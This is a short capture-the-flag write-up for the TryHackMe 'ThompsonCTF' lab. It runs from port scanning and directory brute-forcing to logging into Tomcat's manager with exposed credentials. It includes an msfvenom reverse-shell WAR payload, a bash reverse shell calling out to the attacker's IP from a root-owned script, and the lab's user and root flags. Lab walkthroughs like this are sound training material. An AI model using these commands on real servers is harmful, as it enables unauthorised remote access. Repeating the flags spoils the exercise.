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https://github.com/AbdullahRizwan101/CTF-Writeups
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72 lines
2.4 KiB
Markdown
72 lines
2.4 KiB
Markdown
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# TryHackMe-ThompsonCTF
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>Abdullah Rizwan | 20th September , 03:45 PM
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## NMAP
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```
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Nmap scan report for 10.10.114.149
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Host is up (0.17s latency).
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Not shown: 997 closed ports
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
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| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
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|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
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8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
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|_ajp-methods: Failed to get a valid response for the OPTION request
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8080/tcp open http Apache Tomcat 8.5.5
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|_http-favicon: Apache Tomcat
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|_http-title: Apache Tomcat/8.5.5
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 34.90 seconds
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```
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## Gobuster
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```
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gobuster dir -u http://10.10.114.149:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.t
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xt
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===============================================================
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.114.149:8080/
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[+] Threads: 10
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[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/09/20 06:49:48 Starting gobuster
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===============================================================
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/docs (Status: 302)
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/examples (Status: 302)
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/manager (Status: 302)
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```
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Visiting `/manager` wait for timeout and it will show a html page where user name `tomcat` and password `s3ecret` is shown.
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Start a netcat listener `nc -lvp [port]`
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After that upload a WAR file so look for a payload to upload.
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```
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msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> -f war > shell.war
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```
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And you will have a reverse shell.
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user flag : 39400c90bc683a41a8935e4719f181bf
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## Privlege Escalation
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There is a script `id.sh` which appends root id to `test.txt` this means `id.sh` is owned by root so we can insert a bash payload to get a reverse shell
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`bash -i >& /dev/tcp/10.8.94.60/6969 0>&1`
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root flag : `d89d5391984c0450a95497153ae7ca3a`
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